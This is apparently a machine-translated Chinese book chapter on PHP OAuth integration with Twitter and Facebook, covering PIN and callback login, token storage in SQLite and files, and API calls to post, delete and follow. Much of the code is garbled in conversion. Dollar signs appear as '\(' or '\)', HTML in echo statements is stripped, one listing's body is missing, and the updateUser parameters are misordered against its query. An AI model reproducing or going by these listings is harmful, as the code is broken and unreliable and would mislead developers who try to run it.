文件中有一行extension=curl.so
。您还可以在 shell 中使用命令php –m
或者通过调用phpinfo()
函数来检查您安装的模块,
最重要的事情:获得一个 Twitter 账户
为了学习这些例子,你需要一个 Twitter 账户。在[
twitter.com/signup](https://twitter.com/signup)
注册过程快速简单。参见图 4-1 。您将收到一封确认电子邮件。一旦你确认了你的账户,前往 Twitter 的发展区[
dev.twitter.com/](http://dev.twitter.com/)
。我们将在[
dev.twitter.com/apps/new](http://dev.twitter.com/apps/new)
创建一个新的应用,用于 OAuth。
图 4-1。 Twitter 应用注册表单
注意 Twitter 要求填写应用网站字段。如果您正在本地测试您的应用,或者您的应用没有公共主页,您将需要假装您有。填写任何有效的网址,如
foobar.com。
对于我们的第一个演示,我们将使用以下设置:
Application Type: *Client* Default Access Type: *Read-only*
这两种类型的应用是桌面“客户端”和网络“浏览器”。web 浏览器应用使用公共回调 URL 在身份验证过程中接收信息。桌面客户端不需要外部访问就可以与 OAuth 服务提供者进行通信。相反,会给出一个 PIN,并要求用户返回到应用以完成身份验证。
访问类型可以是“只读”(默认)或“读写”只读仅允许您请求和查看信息。读写访问还允许您将数据发送回应用。
Twitter 将为我们生成一个消费者密钥和消费者秘密令牌,我们将在示例中使用它们。
图 4-2。 Twitter 生成的消费代币
本章中的大多数 Twitter 示例都需要使用我们的消费令牌,所以为了方便起见,我们将它们放在一个外部文件中。参见清单 4-2 。
清单 4-2。定义我们的消费代币:twitter_config.php
`<?php
define ( 'CONSUMER_KEY', '1bSbUBh' );
define ( 'CONSUMER_SECRET', 'M2FFf2k*******************' );
?>`
使用我的访问令牌进行认证
在我们的应用的右边菜单上,有一个到我的访问令牌的链接。这为我们提供了访问令牌和访问秘密令牌。这些令牌允许我们进行身份验证,而无需经过所有常见的 OAuth 步骤。
图 4-3。 Twitter 单用户直接访问令牌
使用我们的直接访问令牌,我们可以连接 twitteroauth。参见清单 4-3 。
清单 4-3。用twitteroauth
和我的接入令牌:twitter_direct_access.php
进行简单认证
`<?php
error_reporting ( E_ALL ^ E_NOTICE );
require_once ("twitteroauth/twitteroauth.php");
require_once ("twitter_config.php");
//My Access tokens
\(accessToken = 'ACTUAL_ACCESS_TOKEN';
\)accessTokenSecret = 'ACTUAL_SECRET_ACCESS_TOKEN';
//since we know our access tokens now, we will pass them into our constructor
$twitterOAuth = new TwitterOAuth ( CONSUMER_KEY, CONSUMER_SECRET, $accessToken, $accessTokenSecret );
//verify credentials through Twitter API call
$user_info = $twitterOAuth->get ( "account/verify_credentials" );
if ( \(user_info && !\)user_info->error ) {
print "Hello " . $user_info->screen_name . "!
";
} else {
die ( "error verifying credentials" );
}
?>`
该脚本加载 twitteroauth 库,并传入我们的消费者、消费者秘密和“我的访问”令牌作为参数。你当然需要为'ACTUAL_ACCESS_TOKEN'
和'ACTUAL_SECRET_ACCESS_TOKEN'
行输入真实值。
在 http://localhost/Twitter _ direct _ access . PHP 上调用我们的脚本,成功输出:
Hello bdanchilla!
注意保护您的消费者和访问令牌不被潜在黑客窃取是非常重要的。
使用个人识别号(PIN)进行客户端认证
在本例中,我们假设另一个用户正在尝试进行身份验证。因此,我们没有访问令牌。我们将把我们的应用消费者令牌输入到 twitteroauth 构造函数中,获取请求令牌,然后重定向到 Twitter 开发区域。我们将被告知,我们的脚本正试图访问我们的应用,并拒绝或接受它。我们当然会接受,然后给一个 PIN。
将这个七位数的 PIN 输入第二个脚本将完成我们的激活。这只需要做一次。如果在非公共脚本中使用身份验证,例如桌面应用或没有公共可访问域的本地主机,则使用这种方法。
在 twitteroauth 库中,我们可以通过将 PIN 作为参数传递给函数getAccessToken
来使用它进行身份验证:
function getAccessToken($oauth_verifier = FALSE);
要获得 PIN,我们需要将消费者令牌交换为请求令牌,然后注册请求令牌。一旦我们有了 PIN,我们就使用它和请求令牌来获得访问令牌。当我们有了访问令牌,我们就可以认证和使用 Twitter APIs 了。
第一步:获取个人识别码
清单 4-4。推特注册:twitter_registration.php
`<?php
error_reporting ( E_ALL ^ E_NOTICE );
require_once ('twitteroauth/twitteroauth.php');
require_once ('twitter_config.php');
session_start (); //start a session
//the constructor takes our 'consumer key', 'consumer secret' as arguments
$twitterOAuth = new TwitterOAuth ( CONSUMER_KEY, CONSUMER_SECRET );
//returns the oauth request tokens {oauth_token, oauth_token_secret}
$requestTokens = $twitterOAuth->getRequestToken ();
//we write the tokens into the \(_SESSION
\)_SESSION ['request_token'] = \(requestTokens ['oauth_token'];
\)_SESSION ['request_token_secret'] = $requestTokens ['oauth_token_secret'];
//redirect to the Twitter generated registration URL, which will give us our PIN
header ( 'Location: ' . $twitterOAuth->getAuthorizeURL ( $requestTokens ) );
?>`
这个脚本将请求令牌返回给我们,然后我们将它保存在$_SESSION
中。最后,脚本将我们重定向到 Twitter PIN 页面。参见图 4-4 。
图 4-4。请求令牌并被重定向后的 PIN 输出
步骤 2:验证 PIN 以接收访问令牌
要获得访问令牌,运行清单 4-5 中的,将 PIN 作为 GET 参数传入
清单 4-5。 Twitter PIN 验证:twitter_pin_validation.php
`//example usage:
//http://localhost/twitter_pin_validation.php?pin=9352006
在清单 4-5 的中,我们增加了一些安全检查来确保正确的 PIN 输入。如果成功,输出将是"PIN validation script was run"
,如果失败,输出将是错误消息。这些错误可能是由于没有传入 PIN、非数字 PIN 或生成的 PIN 超时。
该脚本加载了保存在清单 4-4 中的注册令牌。我们创建一个新的TwitterOAuth
对象,这次将请求令牌作为附加参数传入。然后我们调用getAccessToken
,将我们的 PIN 作为参数传入。这将返回访问令牌。最后,我们将访问令牌写入会话,或者在 PIN 超时时返回错误消息。
注意从清单 4-5 中生成的 PIN 确实有到期日期/时间。如果我们将
twitter_pin_validation.php
的执行延迟太久,就会得到一个错误。
尽管 OAuth 是比用户名/密码凭证更安全的系统,但您仍然需要采取预防措施。如果攻击者能够检索您的访问令牌,那么他们就能够访问您的 Twitter 帐户。
步骤 3:使用访问令牌进行身份验证,以使用 Twitter API
现在,我们的会话数据中保存了访问令牌。这些令牌使我们能够认证和使用 Twitter API。参见清单 4-6 。
清单 4-6。推特用法示例:twitter_usage.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitteroauth/twitteroauth.php");
require_once("twitter_config.php");
session_start();
//since we know our access tokens now, we will pass them into our constructor
\(twitterOAuth = new TwitterOAuth(
CONSUMER_KEY,CONSUMER_SECRET,
\)_SESSION["access_token"], $_SESSION["access_token_secret"]);
//verify credentials through Twitter API call
$user_info = $twitterOAuth->get( "account/verify_credentials" );
if ( \(user_info && !\)user_info->error ) {
print "Hello ".$user_info->screen_name."!
";
print "Pushing out a status message.";
// Post our new status
$twitterOAuth->post(
'statuses/update',
array( 'status' => "writing status…foobar " )
);
//other api calls
}else{
die( "error verifying credentials" );
}
?>`
如果我们通过了正确的身份验证,这将输出以下内容:
Hello bdanchilla! Pushing out a status message.
这条线
$twitterOAuth->post( 'statuses/update', array( 'status' => " writing status…foobar " ) );
应该输出一个状态信息。然而,如果我们去我们的 Twitter 账户,我们看到什么也没有发表。这是因为我们的应用不允许写访问。
Twitter REST API 方法是GET
或POST
。GET
方法读取数据。POST
方法写数据。我们大部分的函数调用都是读取数据,因此会用GET
来调用。编辑信息,比如更新我们的状态或关注新朋友,需要写权限,因此调用POST
。
要纠正这一点,我们需要回到 Twitter 开发站点,将应用的默认访问类型设置从只读更改为读写。参见图 4-5 。确保保存配置更改。
注意当切换应用类型和访问类型时,您可能需要清除您的会话数据。
图 4-5。修改我们应用的访问类型
重新运行前面的脚本,然后再次检查 Twitter。我们的状态现在应该已发布。
API 使用示例:朋友状态
对于我们的下一个例子,如清单 4-7 所示,我们将显示我们朋友的最新状态。在本例中,我们像前面的脚本一样连接到 Twitter。然后我们调用statuses/friends,
来检索我们朋友的最后状态。这非常类似于我们的公共搜索 API 示例,但是显示的是我们的朋友而不是普通人。
我们也调用shuffle($friends)
来随机化我们的朋友列表。
清单 4-7。显示好友的最新状态:friend_status.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitteroauth/twitteroauth.php");
require_once("twitter_config.php");
session_start();
//since we know our access tokens now, we will pass them into our constructor
\(twitterOAuth = new TwitterOAuth(
CONSUMER_KEY, CONSUMER_SECRET,
\)_SESSION["access_token"], $_SESSION["access_token_secret"] );
//verify credentials through Twitter API call
$user_info = $twitterOAuth->get( "account/verify_credentials" );
if ( \(user_info && !\)user_info->error ) {
echo '
Connected as:
';echo '';
echo '';
echo '';
echo '';
echo '';
echo '
'; echo $user_info->screen_name . ' '; echo ' echo ' | '; echo ' | '; echo 'Last tweet: ' . $user_info->status->text . ' |
echo '
My Friends
';$friends = $twitterOAuth->get( "statuses/friends" );
shuffle( $friends ); //randomize which tweets are shown
echo '';
foreach ( $friends as $f ) {
echo '<tr background-color: ' . $f->profile_background_color . '">';
echo '';
echo '';
echo '';
}
echo '
'; echo $f->screen_name . ' '; echo ' echo ' | '; echo 'Last tweet: ' . $f->status->text . ' |
} else {
die( "error verifying credentials" );
}
?>`
![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/0406.jpg)
图 4-6。朋友最后一条推文的输出示例
通过回调进行认证
在前面的示例中,您可能会认为,一定有比获取您的 PIN 并在单独的步骤中手动输入它更好的身份验证方法。确实有;但是,它需要一个外部可用的 web 服务器,以便 OAuth 服务提供者(Twitter)可以回调消费者(我们的应用)。
拥有回调位置比 PIN 少产生一个步骤,因为回调脚本充当对您的验证。它证明你拥有这个应用。这很像当你加入一个新的网站,他们通过给你发送确认信息来验证你提供的电子邮件。如果没有回电,那么你可以假装成其他任何人。
回到我们的 Twitter 开发帐户,我们需要将应用类型更改为 browser,并提供一个回调 URL。参见图 4-7 。
图 4-7。更改我们的应用类型并提供回调 URL
注意记住回调必须是外部可用的,因此本地测试服务器(即
[
localhost/](http://localhost/)
)将不起作用。
我们认证的第一部分重用了在清单 4-4 中找到的twitter_registration.php
脚本。我们将被重定向到一个像你在图 4-8 中看到的页面,要求我们输入用户名和密码。
图 4-8。重定向至登录屏幕
当我们点击“登录”时,我们将被重定向到我们的回调函数,这是我们在应用设置中注册的。这消除了对 PIN 验证的需要。我们应该看到这样的结果:
Welcome bdanchilla! You have logged in using Twitter.
列表 4-8 是我们的回调脚本。
清单 4-8。我们的回调处理程序,callback.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitteroauth/twitteroauth.php");
require_once("twitter_config.php");
session_start();
//verify that the oauth_token parameter of the callback URL matches the session token
if ( $_GET["oauth_token"] == $_SESSION["request_token"] ) {
//pass in our request tokens that have been stored in our \(_SESSION
\)twitterOAuth = new TwitterOAuth(
CONSUMER_KEY, CONSUMER_SECRET,
$_SESSION["request_token"], $_SESSION["request_token_secret"] );
$accessToken = $twitterOAuth->getAccessToken();
//ensure that we have a numeric user_id
if ( isset(\(accessToken["user_id"]) && is_numeric(\)accessToken["user_id"]) ) {
//save the access tokens to our session
$_SESSION["access_token"] = \(accessToken["oauth_token"];
\)_SESSION["access_token_secret"] = $accessToken["oauth_token_secret"];
// Success! Redirect to the welcome page
header( "location: welcome.php" );
} else {
// Failure : ( go back to the login page
header( "location: login.php" );
}
}else{
die( "Error: we have been denied access" );
}
?>`
在我们的欢迎页面或会话中的任何其他页面上,我们现在可以构造一个新的TwitterOAuth
对象并连接到 twitter。参见清单 4-9 。
清单 4-9。欢迎页面:welcome.php
<?php error_reporting(E_ALL ^ E_NOTICE); require_once("twitteroauth/twitteroauth.php"); require_once("twitter_config.php"); session_start();
`if( !empty( $_SESSION["access_token"] ) &&
!empty( $_SESSION["access_token_secret"] )
) {
\(twitterOAuth = new TwitterOAuth(
CONSUMER_KEY,
CONSUMER_SECRET,
\)_SESSION["access_token"],
$_SESSION["access_token_secret"] );
//check that we are connected
$user_info = $twitterOAuth->get( 'account/verify_credentials' );
if ( \(user_info && !\)user_info->error ) {
echo "Welcome " . $user_info->screen_name."!";
//perform other
//API calls
} else {
die( "Error: bad credentials." );
}
} else {
die( "Error: your access_token was not found in your $_SESSION." );
}
?>`
使用 Twitter OAuth 登录您的网站
与使用 OpenID 类似,您可以使用 Twitter 的 OAuth 登录作为网站的登录机制。你可能已经看过下面这张图片,可以从[
dev.twitter.com/pages/sign_in_with_twitter](http://dev.twitter.com/pages/sign_in_with_twitter)
的各个网站上获得。
要在前面的例子中添加登录按钮,我们只需修改清单 4-4 中的代码,使其不自动重定向我们,而是显示一个图片链接。参见清单 4-10 。
清单 4-10。【login.php 用签到按钮注册 Twitter】
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once('twitteroauth/twitteroauth.php');
require_once('twitter_config.php');
session_start(); //start a session
//the constructor takes our 'consumer key', 'consumer secret' as arguments
\(twitterOAuth = new TwitterOAuth( CONSUMER_KEY,CONSUMER_SECRET );`
`//returns the oauth request tokens {oauth_token, oauth_token_secret}
\)requestTokens = $twitterOAuth->getRequestToken();
//we write the tokens into the \(_SESSION \)_SESSION['request_token'] = \(requestTokens['oauth_token']; \)_SESSION['request_token_secret'] = $requestTokens['oauth_token_secret'];
//header( "Location: ". $twitterOAuth->getAuthorizeURL( $requestTokens ) );
//Display Twitter log in button with encoded link
?>
`
使用一个数据库存储多个用户
我们将扩展前面的例子,在数据库中存储用户凭证,见清单 4-11 。为了简单起见,我们将使用 SQLite。在生产环境中,您可能希望确保存储的文件保存在 webroot 之外,或者使用非平面文件数据库以获得更高的安全性。有关 SQLite 的更多信息,请参考第七章。
清单 4-11。 Twitter 数据库连接类:twitter_db_connect.php
`<?php
class Twitter_DBConnect {
static $db;
private $dbh;
private function Twitter_DBConnect() {
try {
\(this->dbh = new PDO( 'sqlite:t_users' );
\)this->dbh->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
} catch ( PDOException $e ) {
print "Error!: " . $e->getMessage() . "\n";
die ();
}
}
public static function getInstance() {
if ( !isset( Twitter_DBConnect::\(db ) ) {
Twitter_DBConnect::\)db = new Twitter_DBConnect();
}
return Twitter_DBConnect::$db->dbh;
}
}
?>`
这个类遵循单例设计模式来存储数据库连接的一个实例。Singleton 模式的关键特征是构造函数是私有的,我们确保返回类的同一个实例。
注意本书没有涉及设计模式,但是关于单例模式的更多内容,请参考
[
en.wikipedia.org/wiki/Singleton_pattern](http://en.wikipedia.org/wiki/Singleton_pattern)
。特别是对于 PHP 设计模式,我们建议你阅读 Matt Zandstra (Apress,2010)的 PHP 对象、模式和实践。
清单 4-12。数据库操作–选择、插入、更新:twitter_db_actions.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once('twitter_db_connect.php');
session_start();
class Twitter_DB_Actions {
private $dbh; //database handle
public function __construct() {
\(this->dbh = Twitter_DBConnect::getInstance();
\)this->createTable();
}
public function createTable() {
\(query = "CREATE TABLE IF NOT EXISTS oauth_users(
oauth_user_id INTEGER,
oauth_screen_name TEXT,
oauth_provider TEXT,
oauth_token TEXT,
oauth_token_secret TEXT
)";
\)this->dbh->exec( $query );
}
public function saveUser( \(accessToken ) {
\)users = \(this->getTwitterUserByUID( intval(\)accessToken['user_id']) );
if ( count( \(users ) ) {
\)this->updateUser( \(accessToken, 'twitter' );
} else {
\)this->insertUser( \(accessToken, 'twitter' );
}
}`
` public function getTwitterUsers() {
\)query = "SELECT * from oauth_users WHERE oauth_provider = 'twitter'";
$stmt = $this->dbh->query( \(query );
\)rows = $stmt->fetchAll( PDO::FETCH_OBJ );
return $rows;
}
public function getTwitterUserByUID( \(uid ) {
\)query = "SELECT * from oauth_users WHERE oauth_provider= 'twitter' AND oauth_user_id = ?";
$stmt = $this->dbh->prepare( \(query );
\)stmt->execute( array( \(uid ) );
\)rows = $stmt->fetchAll( PDO::FETCH_OBJ );
return $rows;
}
public function insertUser( $user_info, \(provider = '' ) {
\)query = "INSERT INTO oauth_users (oauth_user_id, oauth_screen_name,
oauth_provider, oauth_token, oauth_token_secret) VALUES (?, ?, ?, ?, ?)";
\(values = array(
\)user_info['user_id'], $user_info['screen_name'], \(provider,
\)user_info['oauth_token'],
\(user_info['oauth_token_secret'] );
\)stmt = $this->dbh->prepare( \(query );
\)stmt->execute( \(values );
echo "Inserted user: {\)user_info['screen_name']}";
}
public function updateUser( $user_info, \(provider = '' ) {
\)query = "UPDATE oauth_users SET oauth_token = ?, oauth_token_secret = ?,
oauth_screen_name = ?
WHERE oauth_provider = ? AND oauth_user_id = ?";
$values = array( $user_info['screen_name'], \(user_info['oauth_token'],
\)user_info['oauth_token_secret'], $provider, \(user_info['user_id'] );
\)stmt = $this->dbh->prepare( \(query );
\)stmt->execute( \(values );
echo "Updated user: {\)user_info['screen_name']}";
}
}
?>`
清单 4-13。我们更新了回调脚本,callback_with_db.php
<?php error_reporting(E_ALL ^ E_NOTICE); require_once("twitteroauth/twitteroauth.php"); require_once("twitter_config.php"); **require_once("twitter_db_actions.php");** session_start();
`//verify that the oauth_token parameter of the callback URL matches the session token
if ( $_GET["oauth_token"] == $_SESSION["request_token"] ) {
//pass in our request tokens that have been stored in our \(_SESSION
\)twitterOAuth = new TwitterOAuth(
CONSUMER_KEY, CONSUMER_SECRET,
$_SESSION["request_token"], $_SESSION["request_token_secret"] );
$accessToken = $twitterOAuth->getAccessToken();
//ensure that we have a numeric user_id
if ( isset( $accessToken["user_id"] ) && is_numeric( \(accessToken["user_id"] ) ) {
** // Save the access tokens to a DB**
** \)twitter_db_actions = new Twitter_DB_Actions();**
** \(twitter_db_actions->saveUser(\)accessToken);**
//Success! Redirect to welcome page
//The welcome.php page will also need to be modified to read our tokens from the database and not the session
header( "location: welcome.php" );
} else {
// Failure 😦 go back to login page
header( "location: login.php" );
}
}
?>`
将 OAuth(或 OpenID)与您的站点集成的优点是,您不需要人们提交另一个注册表单并记住另一个用户名/密码集。大多数主要的内容管理系统(CMSes)都有 OAuth 和 OpenID 插件,比如 Wordpress 和 Drupal。
缓存数据
为了消除每次页面刷新时向 Twitter 请求信息的需要,一种常见的方案是缓存数据。Twitter REST API 将 OAuth 用户的请求调用限制为每小时 350 个,匿名用户为每小时 150 个。在人口密集的网站上,缓存是必要的。我们不会实现缓存,但会描述基本的技术。
数据缓存存储数据以供以后检索。要缓存 Twitter 信息,您需要定期向 Twitter 发出请求。这通常是通过所谓的 cron 作业自动完成的。每次请求后,新的结果被插入数据库,过时的记录被删除。当用户访问网站时,他们看到的信息来自数据库,而不是直接来自 Twitter。
更多 API 方法和示例
Twitter API 分为以下几类:时间线,状态,用户,列表,列表成员,列表订阅者,直接消息,友情,社交图,账号,收藏夹,通知,
涵盖整个 API 超出了本书的范围,但是我们可以尝试一些方法。详细描述可在网上获得。例如,方法friends_timeline
在[
dev.twitter.com/doc/get/statuses/friends_timeline](http://dev.twitter.com/doc/get/statuses/friends_timeline)
有文档。从文档中,我们可以看到该方法是用GET
调用的,可以以 JSON、XML、RSS 或 Atom 格式返回,需要认证,并且有各种可选参数。
当然,我们不需要在会话中存储我们的访问令牌。我们可以将访问令牌内容保存到文件中。为了安全起见,这些应该在文档根目录之外。我们可以修改清单 4-5 来将我们的访问令牌写入磁盘(参见清单 4-14 )。
清单 4-14。在物理文件中存储我们的访问令牌
//write our oauth access tokens to files file_put_contents( "access_token", $accessOAuthTokens['oauth_token'] ); file_put_contents( "access_token_secret", $accessOAuthTokens['oauth_token_secret'] );
将我们的应用更改为“client”,运行 twitter_registration.php,然后使用 PIN 将清单 _4-14.php 保存到磁盘上。现在我们在磁盘上有了访问令牌,我们可以通过用file_get_contents
读取它们来进行身份验证。见清单 4-15 。
清单 4-15。一个单独的可重复使用的文件,twitter_oauth_signin.php, to authenticate
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitteroauth/twitteroauth.php");
require_once("twitter_config.php");
//access_token and access_token_secret are
//the file names holding our access tokens
$twitterOAuth = new TwitterOAuth(
CONSUMER_KEY, CONSUMER_SECRET,
file_get_contents( "access_token" ),
file_get_contents( "access_token_secret" ) );
?>`
我们可以要求清单 4-15 中的文件来缩短我们调用 Twitter API 的脚本。
在这里,我们按顺序检索并输出多达 20 条好友更新的 Twitter 数据,包括我们自己。这与我们个人 Twitter 主页上的视图相同。参见清单 4-16 。
清单 4-16。按顺序获取好友更新的 Twitter 数据
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitter_oauth_signin.php");
$friends_timeline = $twitterOAuth->get( 'statuses/friends_timeline', array( 'count' => 20 ) );
var_dump( $friends_timeline );
?>`
清单 4-17 显示了我们最近的 tweet IDs 和状态。
清单 4-17。我们最近的推文及其 id
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitter_oauth_signin.php");
$tweets = $twitterOAuth->get( 'statuses/user_timeline' );
foreach ( $tweets as $t ) {
echo $t->id_str . ": " . $t->text . "
";
}
?>`
清单 4-17 的示例输出如下:
68367749604319232: 850,000,000,000 pennies for skype 68367690535940096: Da da da da dat, da da da da Jackie Wilson said 47708149972602880: Tuesday morning and feelin' fine 43065614708899840: Devendra Banhart - At the Hop http://bit.ly/sjMaa 39877487831957505: shine on you crazy diamond 39554975369658369: Excited to listen to new Radiohead and Fleet Foxes soon : ) 39552206701072384: writing a chapter...about twitter
如果我们想通过编程删除一条推文呢?我们简单地输入 id 值并调用 Twitter API POST 方法statuses/destroy
。tweet ID 应该是一个字符串,而不是一个数字。参见清单 4-18 。
清单 4-18。摧毁一个状态
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitter_oauth_signin.php");
\(tweet_id = "68367749604319232";
\)result = $twitterOAuth->post( 'statuses/destroy',
array( 'id' => $tweet_id )
);
if ( $result ) {
if ( $result->error ) {
echo "Error (ID #" . $tweet_id . ")
";
echo $result->error;
} else {
echo "Deleting post: $tweet_id!";
}
}
?>`
要添加和删除友谊,我们首先检查友谊是否存在,然后销毁或创建一个。参见清单 4-19 。
清单 4-19。建立和破坏友谊
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("twitter_oauth_signin.php");
//get our information
$user_info = $twitterOAuth->get( "account/verify_credentials" );
//check if we are friends with Snoopy, if not, then we create the friendship.
if ( !$twitterOAuth->get( 'friendships/exists', array(
'user_a' => \(user_info->screen_name,
'user_b' => 'peanutssnoopy' ) ) ) {
echo 'You are NOT following Snoopy. Creating friendship!';
\)twitterOAuth->post( 'friendships/create', array( 'screen_name' => 'Snoopy' ) );
}
//check if we are friends with Garfield. If not, then we create the friendship.
if ( !$twitterOAuth->get( 'friendships/exists', array(
'user_a' => \(user_info->screen_name,
'user_b' => 'garfield') ) ) {
echo 'You are NOT following Garfield. Creating friendship!';
\)twitterOAuth->post( 'friendships/create', array( 'screen_name' => 'Garfield' ) );
}
//check if we are friends with Garfield. If yes, we destroy that friendship.
if ( $twitterOAuth->get( 'friendships/exists', array(
'user_a' => \(user_info->screen_name,
'user_b' => 'garfield') ) ) {
echo 'You are following Garfield. Destroying friendship!';
\)twitterOAuth->post( 'friendships/destroy', array( 'screen_name' => 'garfield' ) );
}
?>`
在清单 4-19 中,exists
查询是一个GET
方法,而destroy
和create
命令是POST
方法。
脸书
好消息是,使用脸书 API 开发应用与开始使用 Twitter API 非常相似,因为两者都使用 OAuth 进行身份验证。
首先,转到[www.facebook.com/developers/apps.php](http://www.facebook.com/developers/apps.php)
并点击“设置新应用”链接。系统会提示您通过手机或信用卡验证您的帐户。这和 Twitter 不一样,Twitter 是做邮件验证的。
注意如果您已经通过电话在脸书上验证了不同的功能,如移动服务,您将不会再次收到验证挑战。
图 4-9。脸书验证请求
电话方法只需要重新发送短信中收到的代码,不需要提供信用卡信息。因此,丹希拉建议这样做。接下来,选择一个应用名称。有趣的是,没有脸书的许可,你不能在你的申请中使用“脸”这个词。
图 4-10。选择应用名称并同意服务条款
就像我们的 Twitter 应用一样,我们得到一些为我们生成的 OAuth 消费者密钥。
图 4-11。我们的申请信息和设置
注意因为脸书使用 OAuth,我们可以在 Twitter 部分创建的
oauth_users
表中插入用户。我们唯一需要改变的是将“facebook”作为$provider
参数传入。
与 Twitter 不同,脸书有一个用 PHP 编写的官方 SDK。它在[
github.com/facebook/php-sdk/downloads](https://github.com/facebook/php-sdk/downloads)
可用,由一个文件facebook.php
组成。我们与脸书连接的方式需要一个公共可访问的回调位置,就像我们的第二个 Twitter 连接示例一样。我们需要指定我们的应用将被使用的网站 URL。默认回调位置是已执行脚本的当前 URL。
图 4-12。我们的网站设置
我们还可以选择为我们的应用创建一个画布页面。http://developers.facebook.com/docs/guides/canvas/的脸书官方称画布页是“…字面上的意思是在脸书运行你的应用的空白画布。您可以通过提供画布 URL 来填充画布页面,其中包含构成您的应用的 HTML、JavaScript 和 CSS。”
图 4-13。我们的脸书集成画布设置
虽然画布页旨在与您的脸书应用相关联,但它可以是任何网页。在图 4-14 中,我们简单地将这本书的进展页面列为画布 URL。
图 4-14。我们的画布页
每个脸书应用都有一个关联的个人资料页面,其中有链接、建议、设置和广告选项。
图 4-15。我们的申请简介页面
此外,还有一些选项可以帮助在 iPhone、Android 上设置脸书应用,并通过脸书积分实现货币化。
现在让我们看看我们的第一个 API 例子,如清单 4-20 所示。
清单 4-20。我们的登录脚本:login.php
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("facebook.php");
//create a new Facebook object
$facebook = new Facebook( array(
'appId' => 'YOUR_APP_ID',
'secret' => 'YOUR_APP_SECRET'
) );
//the login page is also the callback page, so we check if we have been authenticated
$facebook_session = $facebook->getSession();
if ( !empty( \(facebook_session ) ) { try {` ` //API call for information about the logged in user \)user_info = $facebook->api( '/me' );
if ( !empty( $user_info ) ) {
displayUserInfo( $user_info );
} else {
die( "There was an error." );
}
} catch ( Exception $e ) {
print \(e->getMessage();
}
} else {
//try generating session by redirecting back to this page
\)login_url = $facebook->getLoginUrl();
header( "Location: " . $login_url );
}
function displayUserInfo( \(user_info ) {
/* id, name, first_name, last_name, link, hometown,
location, bio, quotes, gender, timezone, locale
verified, updated_time */
echo "Welcome <a href='{\)user_info['link']}' rel='external'/>" .
\(user_info['name'] . '</a>!<br/>';
echo "Gender: ".\)user_info['gender']."
";
echo "Hometown: ".$user_info['location']['name']."
";
}
?>`
您可能会注意到,脸书认证比 Twitter 更加简化。运行清单 4-20 会把你带到一个权限请求页面,就像你在图 4-16 中看到的那样。
图 4-16。向用户请求基本权限
当用户点击“允许”时,你会立即收到一堆关于他们的信息。确切的信息量取决于脸书臭名昭著的隐私政策、用户设置以及我们要求的任何额外权限。获得授权后,该脚本将显示如下输出:
Welcome <ins>Brian Danchilla</ins>! Gender: male Hometown: Saskatoon, Saskatchewan
添加退出脸书的链接
在清单 4-20 中的调用之后,我们将添加一个注销链接,如清单 4-21 中的所示。
清单 4-21。我们修改的登录脚本login2.php
,带有注销回拨
`<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once("facebook.php");
//create a new Facebook object
$facebook = new Facebook( array(
'appId' => 'YOUR_APP_ID',
'secret' => 'YOUR_APP_SECRET'
) );
//the login page is also the callback page, so we check if we have been authenticated
$facebook_session = $facebook->getSession();
if ( !empty( \(facebook_session ) ) { try { //API call for information about the logged in user \)user_info = $facebook->api( '/me' );
if ( !empty( $user_info ) ) {
displayUserInfo( \(user_info );
//adjust the URL to match that of the application settings
\)logout_location = (string) html_entity_decode(
$facebook->getLogoutUrl(
array( 'next' => 'http://www.foobar.com/logout.php' ) ) );
echo "Logout";
} else {
die( "There was an error." );
}
} catch ( Exception $e ) {
print $e->getMessage();
}
} else {
//try generating session by redirecting back to this page
$login_url = $facebook->getLoginUrl();
header( "Location: " . $login_url );
}
function displayUserInfo( \(user_info ) {
/* id, name, first_name, last_name, link, hometown,
location, bio, quotes, gender, timezone, locale
verified, updated_time */
echo "Welcome <a href='{\)user_info['link']}' rel='external'/>" .
\(user_info['name'] . '</a>!<br/>';
echo "Gender: ".\)user_info['gender']."
";
echo "Hometown: ".$user_info['location']['name']."
";
}
?>`
我们已经传入了参数'next'
,这将是脸书在执行注销后重定向的地方。参见清单 4-22 。
清单 4-22。我们的注销文件,Logout.php
<p>You are now logged out.<br/> <a href="http://www.foobar.com/login.php">login</a></p>
请求额外权限
使用脸书 API 还可以做许多其他事情,但是有些需要用户授予额外的权限。为了获得更多的许可,我们向我们的登录 URL 传递一个带有关键字req_perms
的数组。req_perms 的值应该是逗号分隔的权限列表。
$login_url = $facebook->getLoginUrl( array( "req_perms" => "user_photos, user_relationships" ) );
图 4-17。向用户请求额外权限
我们现在可以通过在displayUserInfo
函数的末尾添加下面一行来将关系状态添加到我们的显示中。
` echo \(user_info['relationship_status'] . " (" .\)user_info['significant_other']
['name'].")
";
Welcome Brian Danchilla!
Gender: male
Hometown: Saskatoon, Saskatchewan
Engaged (Tressa Kirstein)`
getLoginUrl
函数还有一些我们应该知道的可选参数。这些是:
next: the URL to go to after a successful login cancel_url: the URL to go to after the user cancels display: can be "page" (default, full page) or "popup"
图形 API
脸书的每个对象都可以通过它的图形 API 获得。可访问的对象类型包括相册、应用、签入、评论、文档、域、事件、友好列表、组、见解、链接、消息、注释、页面、照片、帖子、评论、状态消息、订阅、主题、用户和视频。
注意更多关于脸书图形 API 的信息可在
[
developers.facebook.com/docs/reference/api/](http://developers.facebook.com/docs/reference/api/)
获得。
作为 API 的一个例子,关于用户 Brian Danchilla 的信息可以在 URL 中找到
[
graph.facebook.com/brian.danchilla](http://graph.facebook.com/brian.danchilla)
,输出 JSON:
{ "id": "869710636", "name": "Brian Danchilla", "first_name": "Brian", "last_name": "Danchilla", "link": "http://www.facebook.com/brian.danchilla", "username": "brian.danchilla", "gender": "male", "locale": "en_US" }
Graph API 的一些安全区域要求提供访问令牌。需要访问令牌的示例 URL 是[
graph.facebook.com/me](http://graph.facebook.com/me)
,否则它将输出以下内容:
